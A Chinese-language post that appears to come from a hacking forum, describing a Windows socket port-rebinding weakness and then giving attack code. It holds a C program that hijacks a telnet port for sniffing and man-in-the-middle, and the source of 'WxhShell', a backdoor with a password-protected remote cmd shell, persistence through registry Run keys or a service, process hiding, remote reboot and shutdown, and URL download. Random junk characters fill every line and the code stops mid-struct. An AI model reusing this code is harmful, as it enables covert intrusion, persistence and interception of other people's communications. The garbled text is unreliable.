在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#o yvsS8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/I6?t=?< 6;(Slkv saddr.sin_family = AF_INET;
)]qFI"B7 deu+ i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CqrmdWN fJ\Ys;l[j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Th,2gX9 e,1Jxz4QH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|<BTK_R jl:O~UL6i 这意味着什么?意味着可以进行如下的攻击:
k5}i^^. +m>Kb edl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uVisU%p 4r5,kOFWb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K90Zf Bpk%,*$*) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
);Gt!]p`; a`|/*{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Pv/P<i^ 0s<o5`v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fylaH(LER j j$'DZk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*]Vx=7D Y1
-cz: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y8<,> j83p[qR7o #include
A#jiCIc #include
5'z&kl0"S #include
;#Mq=Fr-SG #include
DI$zyj~3 DWORD WINAPI ClientThread(LPVOID lpParam);
yyA/x, int main()
93'%aSDI% {
J v)]7u WORD wVersionRequested;
`_v-Y`Z DWORD ret;
H!45w;,I WSADATA wsaData;
h_CeGl!M} BOOL val;
:fj}J)9'xW SOCKADDR_IN saddr;
0p[$8SCJ SOCKADDR_IN scaddr;
3'.OghI int err;
01w=;Q SOCKET s;
zBjqYqZ<+ SOCKET sc;
n*O/X int caddsize;
@pG\5 Jnf HANDLE mt;
kbMIMZC/G DWORD tid;
z5{I3 Y!1 wVersionRequested = MAKEWORD( 2, 2 );
^ePSI|EW err = WSAStartup( wVersionRequested, &wsaData );
4Y)3<=kDG if ( err != 0 ) {
j+c)% printf("error!WSAStartup failed!\n");
Ws1<Jt3/." return -1;
?29
KvT;#] }
!w/~dy saddr.sin_family = AF_INET;
RcHyePuF)R !'[sV^ds //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v4ueFEY FS@SC`~( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vb70~k saddr.sin_port = htons(23);
\<PX'mnO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$*@mxwMQ} {
_6(zG.Fg printf("error!socket failed!\n");
>ZNL
pJQ return -1;
D(r|sw
}
goHr#@ val = TRUE;
YTGup]d //SO_REUSEADDR选项就是可以实现端口重绑定的
| z('yy$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L4[bm[x {
;N/c 5+ printf("error!setsockopt failed!\n");
G A7 return -1;
o0<T|zgF5, }
TY8 8PXW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
TVjY8L9'h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eFeeloH?e* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Qe4 wLgRI$_Dm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]&9f:5', {
4 5Ql7~ ret=GetLastError();
v =u|D$ printf("error!bind failed!\n");
S>*T&K return -1;
O}KT>84M }
!
4s$93 listen(s,2);
P, Vq/Tt while(1)
.<j8>1 {
A2+t`[w caddsize = sizeof(scaddr);
t>25IJG //接受连接请求
Sqb#U{E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
CId`6W if(sc!=INVALID_SOCKET)
DL~LSh {
D'2O#Rj4q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xApa+j6I if(mt==NULL)
l'o}4am {
2`Pk@,:_ printf("Thread Creat Failed!\n");
) Z^(+ break;
i>rn!?b }
^|x{E20 }
lLg23k{' CloseHandle(mt);
JTb<uC }
v\HGL56T closesocket(s);
AG9U2x WSACleanup();
=djzE`)0 return 0;
D~%cf }
LEhi/>T DWORD WINAPI ClientThread(LPVOID lpParam)
v |i(peA# {
R]r~TJ o SOCKET ss = (SOCKET)lpParam;
{<]abO SOCKET sc;
r`&ofk1K unsigned char buf[4096];
V3m!dp] SOCKADDR_IN saddr;
Og&2,`Jb long num;
vx
,yz+yP DWORD val;
JZ<O-G+ DWORD ret;
F1+2V"~ //如果是隐藏端口应用的话,可以在此处加一些判断
nBD7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U .rH,` saddr.sin_family = AF_INET;
h?R-t*G? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o/[NUQSI saddr.sin_port = htons(23);
97BL%_^k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*i\7dJ Dj {
V]<dh|x printf("error!socket failed!\n");
~bwFQYY= return -1;
j[z\p~^ }
o2.!
G val = 100;
$DQ
-.WI if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KE^_09 {
#?-W. ret = GetLastError();
:*8@MjZ4 return -1;
jt]+(sx }
LCdc7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5I<?HsK@ {
8+!$k!=X ret = GetLastError();
\
0CGS return -1;
VJNPs6 }
2T|L##C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Jsw<,uTD {
ybB}|4d& printf("error!socket connect failed!\n");
9XoKOR( closesocket(sc);
C{'c_wX closesocket(ss);
i&l$G55F return -1;
:4;>). }
R<wb8iir while(1)
"W1 q}4_ {
0J_ x*k6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cAL&>T //如果是嗅探内容的话,可以再此处进行内容分析和记录
k!%HcU%J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Qr0GxGWU num = recv(ss,buf,4096,0);
-x RsYYw if(num>0)
#AY+[+ send(sc,buf,num,0);
c#rbyx?5 else if(num==0)
;lK2] break;
.*,Zh2eXU num = recv(sc,buf,4096,0);
/bw-* if(num>0)
E+Gea[c send(ss,buf,num,0);
";zl6g" else if(num==0)
!"1bV
[^ break;
;DGWUK.U[H }
p;B
+g X closesocket(ss);
J6Kfz~% closesocket(sc);
(*2"dd return 0 ;
co*5NM^ }
+wio:== X~j
A*kmAj XM)|v | ==========================================================
"=RB
# Q647a} 下边附上一个代码,,WXhSHELL
*yJb4uALB p;'vOb ==========================================================
k20H|@g2 w68qyG|wM #include "stdafx.h"
)XNcy" wUSWB{y #include <stdio.h>
{UhZ\qe #include <string.h>
](W#Tj5- #include <windows.h>
Uligr_c? #include <winsock2.h>
A+dY~@*a #include <winsvc.h>
Mu:H'$"'H #include <urlmon.h>
%?cPqRHJ ~ weDv[b5i #pragma comment (lib, "Ws2_32.lib")
a RV!0?fS #pragma comment (lib, "urlmon.lib")
n^A=ar. Z@*Z@]FC #define MAX_USER 100 // 最大客户端连接数
!cq4+0{O;& #define BUF_SOCK 200 // sock buffer
:_^YEm+A #define KEY_BUFF 255 // 输入 buffer
sO*6F`eiZ Rp|:$5&nE #define REBOOT 0 // 重启
o]FQ)WRB #define SHUTDOWN 1 // 关机
7X.1QSuE v|e\o~2D` #define DEF_PORT 5000 // 监听端口
7eO8cPy BE U[M #define REG_LEN 16 // 注册表键长度
k{;:KW| #define SVC_LEN 80 // NT服务名长度
G
cbal:q
U]P;X~$! // 从dll定义API
*[jaI-~S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a#{a{> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nQgn^z# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B[*i}k%i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
g5?Fo%W \K4m~e@! // wxhshell配置信息
gf!j|O ; struct WSCFG {
a(
qw int ws_port; // 监听端口
z4<h)hh"k6 char ws_passstr[REG_LEN]; // 口令
C/cyqxVl} int ws_autoins; // 安装标记, 1=yes 0=no
)Qo6bei! char ws_regname[REG_LEN]; // 注册表键名
D`gY6wX char ws_svcname[REG_LEN]; // 服务名
EUNG&U char ws_svcdisp[SVC_LEN]; // 服务显示名
q}8R>`Z{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
}`eeIt I+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D/)xe: int ws_downexe; // 下载执行标记, 1=yes 0=no
X$xqu\t7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B^OhL!*tI char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-8TLnl~[ b
:+
X3 };
]l\J"*"aB vz _U // default Wxhshell configuration
RS93_F8 struct WSCFG wscfg={DEF_PORT,
0lEIj/u "xuhuanlingzhe",
;^xku%u 1,
yb]a p "Wxhshell",
8<o(z'&y "Wxhshell",
@Wv*` "WxhShell Service",
t
&ucqY "Wrsky Windows CmdShell Service",
T|=8jt, "Please Input Your Password: ",
4RK^efnp 1,
sPhh#VCw{ "
http://www.wrsky.com/wxhshell.exe",
.z9JoQ "Wxhshell.exe"
Xh{EItk~oO };
i\3`?d >Qi2;t~G // 消息定义模块
E0*81PS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@hCGV'4 char *msg_ws_prompt="\n\r? for help\n\r#>";
tV T(!&( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)cvC9gt char *msg_ws_ext="\n\rExit.";
.IgCC_C9 char *msg_ws_end="\n\rQuit.";
*v&g>Ni char *msg_ws_boot="\n\rReboot...";
UrtN3icph char *msg_ws_poff="\n\rShutdown...";
S |B7HS5 char *msg_ws_down="\n\rSave to ";
u=4tW:W, jKtbGVZ7r char *msg_ws_err="\n\rErr!";
r..Rh9v/=E char *msg_ws_ok="\n\rOK!";
uh GL1{ *f,EDSN1@d char ExeFile[MAX_PATH];
w+JDu_9+A] int nUser = 0;
JU~l HANDLE handles[MAX_USER];
FkRrW^?5G int OsIsNt;
_kar5B$ \Q
&Kd| SERVICE_STATUS serviceStatus;
Q!@"Y/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
P ^D\znvc 1c\$ziB // 函数声明
^c/.D*J[I int Install(void);
O6m}#?Ai/@ int Uninstall(void);
9_&.G4%V int DownloadFile(char *sURL, SOCKET wsh);
d#A.A<p* int Boot(int flag);
OpiN,>; void HideProc(void);
eE7+fMP{ int GetOsVer(void);
d^,u"Z9P int Wxhshell(SOCKET wsl);
)K%AbKn void TalkWithClient(void *cs);
VRT| OUq int CmdShell(SOCKET sock);
JH2d+8O:qK int StartFromService(void);
['{mW4i int StartWxhshell(LPSTR lpCmdLine);
-[G+*3Y{7 LB-4/G$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/5SBLp}Sy VOID WINAPI NTServiceHandler( DWORD fdwControl );
Es)Kw3^a Y68oBUd_E // 数据结构和表定义
'w&,3@Z SERVICE_TABLE_ENTRY DispatchTable[] =
Q
xKC5`1 {
2x t
8F {wscfg.ws_svcname, NTServiceMain},
yv&&x.!.Z {NULL, NULL}
GsxrqIaD };
t}]=5)9< JZ9w!)U // 自我安装
va| 1N/& int Install(void)
cbNrto9 {
\&"gCv# char svExeFile[MAX_PATH];
|&3[YZY HKEY key;
L`tr7EEr strcpy(svExeFile,ExeFile);
([^1gG+>J E]i3E[T // 如果是win9x系统,修改注册表设为自启动
A-qdTJP if(!OsIsNt) {
)} tI8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>]s|'HTxF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iJT_*,P^ RegCloseKey(key);
A+_361KH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=:uK$>[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bU7n1pzW,o RegCloseKey(key);
0p)#!$ return 0;
MQ7N8 @!t }
]-&A)M6 }
2h%/exeS; }
-X3yCK?re else {
uD}Q}]Z f,9 /Yg_ // 如果是NT以上系统,安装为系统服务
@l41'?m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W9+H/T7! if (schSCManager!=0)
(p>?0h9[ {
j]Kpwf<NS SC_HANDLE schService = CreateService
49W@?:b (
UP' ~D]J schSCManager,
ibAZ=RD wscfg.ws_svcname,
xf% _HMKc wscfg.ws_svcdisp,
MAb*4e# SERVICE_ALL_ACCESS,
@y]ek/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Jz<-B SERVICE_AUTO_START,
oR}cE
Sr SERVICE_ERROR_NORMAL,
1DLAfsLlj svExeFile,
JFewOt3 NULL,
mE\sD<b NULL,
]{^'{ z$i NULL,
4z%::? NULL,
D~P3~^ NULL
v#c'p^T );
RUco3fZ if (schService!=0)
o^+2%S`] {
3b{ 7Z 2 CloseServiceHandle(schService);
kD;1+lNz CloseServiceHandle(schSCManager);
=>3wI'I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`xv2,Z9< strcat(svExeFile,wscfg.ws_svcname);
0gTv:1F/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
pW5ch"HE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
r ]s7a?O RegCloseKey(key);
B!+rO~ return 0;
fJ<I|ZZ }
xbqFek$/r }
yzyBr1s CloseServiceHandle(schSCManager);
H1Jk_@b }
vG'6?%38 }
00SYNG! F+@/ "1c return 1;
(;!92ct[? }
'Dn\.x^]1 z][hlDv\j // 自我卸载
j)nL!":O int Uninstall(void)
d6^:lbj {
qPQ6`rD\ HKEY key;
&u+l`F^Z r{ >`" if(!OsIsNt) {
=e)t,YVm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~%chF/H RegDeleteValue(key,wscfg.ws_regname);
Y-?0!a=e. RegCloseKey(key);
YY zUg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#Mw 6>5}< RegDeleteValue(key,wscfg.ws_regname);
dl]pdg< RegCloseKey(key);
cslZ; return 0;
9| g]M:{ }
Z)&!ZlM }
-=cxUDB }
Y1Q240 else {
aP$it6Z ]-j.\+(* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
efr 9 if (schSCManager!=0)
PZ>(cvX& {
QArph0e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J Bgq2 if (schService!=0)
G{.[o6> {
5rb<u>e{ if(DeleteService(schService)!=0) {
bN\;m^xfu CloseServiceHandle(schService);
-aq3Lqi CloseServiceHandle(schSCManager);
25PZ&^G8% return 0;
:5sjF:@ }
AQ&vq$ CloseServiceHandle(schService);
)n6,uTlOw }
=Vm3f^ CloseServiceHandle(schSCManager);
z]2MR2W@X }
Bs`mzA54 }
Kf-XL),3l '7Mz]@ return 1;
eQz.N<f" }
cQkj{u KE.O>M,I. // 从指定url下载文件
s~QIs int DownloadFile(char *sURL, SOCKET wsh)
8J#x B {
#<~oR5ddlb HRESULT hr;
d"yJ0F char seps[]= "/";
YqmsL< char *token;
J&Db- char *file;
+DG-MM%\ char myURL[MAX_PATH];
OMW]9E char myFILE[MAX_PATH];
GEvx<: 2Wg:eh strcpy(myURL,sURL);
cTW$;Fpc+ token=strtok(myURL,seps);
,)uW`7 while(token!=NULL)
a@Vk(3Rx_ {
<FX]n< file=token;
w/^_w5 token=strtok(NULL,seps);
^*YoNd_kpN }
>z~_s6#CP p$G3<Z&7 GetCurrentDirectory(MAX_PATH,myFILE);
4X",:B} strcat(myFILE, "\\");
)Z/$;7]# strcat(myFILE, file);
ySI}Nm>&= send(wsh,myFILE,strlen(myFILE),0);
S|xwYaoy% send(wsh,"...",3,0);
+PnuWK$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Wy\^} if(hr==S_OK)
]#[4eaCg return 0;
#D#kw*c else
$vK,Gugcx return 1;
s$zm)y5 QOgGL1)7- }
0i"2s}^+_ =E$bZe8 // 系统电源模块
kOdA8XRY int Boot(int flag)
(f^/KB= {
T{2)d]Y HANDLE hToken;
auB
931| TOKEN_PRIVILEGES tkp;
:Jf</uP_ t*; KxQ+'? if(OsIsNt) {
V;g) P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
H)h^|A/vO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
pacD7'1{
tkp.PrivilegeCount = 1;
l]~9BPsR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Pwj|]0Y@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$a8,C\me? if(flag==REBOOT) {
6&5D4
V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
4DDBf j return 0;
5~Ek_B }
WO{7/h</ else {
`k*;%}X\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/P-#y@I return 0;
(,t[`z }
*/JYP + }
',!jYh}Uxk else {
glc<(V if(flag==REBOOT) {
%~k>$(u6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{}8C/4iP return 0;
;~L,Aqn7 }
oemN$g&7 else {
T)%6"rPL3! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"f<gZsb return 0;
5-ED\- }
I^( pZ9 }
QZG<sZ0" 8X.=
6M return 1;
^|zag }
[0105l5 JIw?]xa* // win9x进程隐藏模块
'(C+qwdRv void HideProc(void)
&]LpGl {
Tn/Z s| %.u*nM7sos HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T@{ab1KV if ( hKernel != NULL )
9d^m 7}2 {
/*>}y$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+TA~RCd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?H,f|nc FreeLibrary(hKernel);
9B;WjXSe }
J5F@<vi *k_<|{>j( return;
IDJ2epW*; }
[ dVBsi
!w Q?+:6 // 获取操作系统版本
kvbW^pl int GetOsVer(void)
!QvmzuK {
AZ4?N.X? OSVERSIONINFO winfo;
W|Sab$h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"_LqIW1 GetVersionEx(&winfo);
WkE="E} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~GX
]K H return 1;
{DKZ~ else
T?f{.a) return 0;
n.a2%,|v }
r5UVBV8T %{4U\4d@' // 客户端句柄模块
&n_f.oUc int Wxhshell(SOCKET wsl)
axt;}8 {
- E GZ SOCKET wsh;
e(a,nZF. struct sockaddr_in client;
Hcg7u7M{ DWORD myID;
<z2.A/L r<n:o7 while(nUser<MAX_USER)
ps:`rVQ7 {
n{MTh_C4n int nSize=sizeof(client);
'" %0UflJS wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
csLbzDg if(wsh==INVALID_SOCKET) return 1;
wG7>2*( Z}0xK6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
o!~XYEXvUa if(handles[nUser]==0)
!*~QB4\2b closesocket(wsh);
Yb<:1?76L else
1aIGC9xQ` nUser++;
*A8*FX>\F }
k'|yUJ, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#yR&|*@ XKZsX1=@R return 0;
psmDGSm,& }
b/m.VL
|hi,]D^Kc // 关闭 socket
4.wrY6+V void CloseIt(SOCKET wsh)
SE' |||B {
L>1y[
Q closesocket(wsh);
v@GhwL nUser--;
)h 6 w@TF ExitThread(0);
T }msF }
n!~ $Z/ ?yjg\S?L // 客户端请求句柄
z7:*
,X void TalkWithClient(void *cs)
e4Qjx*[G {
ak_y:O| Pf%I6bVN9 SOCKET wsh=(SOCKET)cs;
i ?M-~EKu char pwd[SVC_LEN];
\MmOI<Hd- char cmd[KEY_BUFF];
^{=UKf{ char chr[1];
<XDnAv0t int i,j;
|XG&[TI- " pL[3,.@WA while (nUser < MAX_USER) {
#W8?E_iu _{#K if(wscfg.ws_passstr) {
1QD49) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$)KODI>| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XY? Cl //ZeroMemory(pwd,KEY_BUFF);
~4Fz A,, i=0;
nu1XT 1q1 while(i<SVC_LEN) {
t, /8U 0nD?X+ u // 设置超时
b3[!1i fd_set FdRead;
*JFkqbf struct timeval TimeOut;
`w>D6K+ FD_ZERO(&FdRead);
JCBX?rM/ FD_SET(wsh,&FdRead);
{`M\}(E TimeOut.tv_sec=8;
P=<lY}, TimeOut.tv_usec=0;
Z]DZ:dF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Pn9;&`t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZD|F"v. C%E~9_w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
wnQy pwd
=chr[0]; 1Vz^?t:
if(chr[0]==0xd || chr[0]==0xa) { LdOme[C1
pwd=0; b|Ge#o
break; (91ts$jH
} svxjad@l/
i++; 4t%Lo2v!X%
} ?#&[1.= u
x_<#28H!
// 如果是非法用户,关闭 socket $vO<v<I'Gb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `5Z'8^
} <=6F=u3PtU
cc`u{F9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :XAyMK7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _s0)Dl6K
<Dgf'GrJ
while(1) { l4taD!WD/
NCzabl
ZeroMemory(cmd,KEY_BUFF); I!9>"s12
_!,2"dS
// 自动支持客户端 telnet标准 >}NnzZ
j=0; |unvDXx-
while(j<KEY_BUFF) { \/SOpC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zx:;0Z:S6>
cmd[j]=chr[0]; ~fL`aU&
if(chr[0]==0xa || chr[0]==0xd) { ~(tt.l#
cmd[j]=0; kxyOe[7 S
break; 37?X@@Z=
} u^^jt(j
j++; *>[q*SF
} | ~>7_:
o2$A2L9P
// 下载文件 A@d 2Ukv
if(strstr(cmd,"http://")) { W]bytsl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Xid"$
if(DownloadFile(cmd,wsh)) |=VWE>g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (yuOY/~k/
else @J6r;4|&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ir\)Hz2P
} nI(w7qhub
else { r+#g
n|Y}M]u,
switch(cmd[0]) { GeB-4img
LB$0'dZU
// 帮助 [z7]@v6b
case '?': { "9hD4R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {`)oxzR
break; 4T$jY}U
} ~@ <o-|#
// 安装 +5R8mbD!
case 'i': { wM;=^br
if(Install()) mxJe\[I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ifjQ7(:
else <pG 4g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }9z$72;Qdq
break; zt|1tU:
} HKOSS-`5
// 卸载 apM)$
case 'r': { ;8e}X6YU
if(Uninstall()) cL#zE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UF89gG4
else Edcv>}PfE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |L}tAS`8
break; %7\l+g,
} QGErQ
+l
// 显示 wxhshell 所在路径 wF6a*b@v
case 'p': { n1R{[\ >1
char svExeFile[MAX_PATH]; <5FGL96
strcpy(svExeFile,"\n\r"); mQU t 'j4
strcat(svExeFile,ExeFile); ,%V%g!6{
send(wsh,svExeFile,strlen(svExeFile),0); w'xPKO$bzR
break; ^foCcO
} DmB?.l-
// 重启 ,CqGO %DY
case 'b': { *9F{+)A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RR/?"d?&
if(Boot(REBOOT)) mv$gL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ `{{Z&
else { G/( tgQ
closesocket(wsh); H2+Ijn19E
ExitThread(0); K}whqe]j
} 6HVX4Z#VH
break; 8f'r_,"
} Nh4&3"g|
// 关机 :F"NF
case 'd': { K\lu;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +& M>J|
if(Boot(SHUTDOWN)) 8KdcU[w]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a?W<<9]
else { A*]sN8
closesocket(wsh); .NF3dC\
ExitThread(0); Oo>Uu{{
} V4,\vgGu
break; oHu 7<r
} w,!N{hv(
// 获取shell m'ZxmsFo
case 's': { 7$"5qJ{ s
CmdShell(wsh); 2jxh7\zE
closesocket(wsh); ^'b\OUty-
ExitThread(0); O;(n[k
break; 1n>AN.nI
} Vk1 c14i>
// 退出 X#MC|Fzy@
case 'x': { Z?eedVV@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OeQ~g-n
CloseIt(wsh); Jb7^'P
break; h{ EnS5~
} O%} hNTS"
// 离开 `]/0&S
case 'q': { @Ps1.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^|cax|>
closesocket(wsh); ~>3#c#[
WSACleanup(); `2G%&R,k"D
exit(1); _G^ 4KwYp
break; |1+mHp
} M(Yt9}Z%Y
} R\u5!M$::
} j>hBNz
*OY
Nx4 k
// 提示信息 [O3)s] |
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bW^{I,b<F
} {>X2\.Rl
} ;xu&%n[6@
O F?o
return; 0T:U(5Y9
} A] f^9F@
`k9a$@Xg
// shell模块句柄 9%?a\#C
int CmdShell(SOCKET sock) Y0o{@)Y:
{ l+^4y_
STARTUPINFO si; o-<.8Z}>at
ZeroMemory(&si,sizeof(si)); ,GF(pCZzG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mqQC`Aqx:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }I~)o!N%7
PROCESS_INFORMATION ProcessInfo; 'u:J
"
char cmdline[]="cmd"; x 4`RKv2m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Q1oSpF
return 0; xGw|@d
} 9f3rMPVh(
)!=X?fz,O
// 自身启动模式 4 :M}Vz-
int StartFromService(void) !=v d:,
{ %Lfy!]Ru
typedef struct Q\*zF,ek
{ :io[9B [
DWORD ExitStatus; eeOG(@@o(
DWORD PebBaseAddress; xyi4U(;
DWORD AffinityMask; sbq:8P#
DWORD BasePriority; Pt7yYl&n7^
ULONG UniqueProcessId; I=4G+h5p
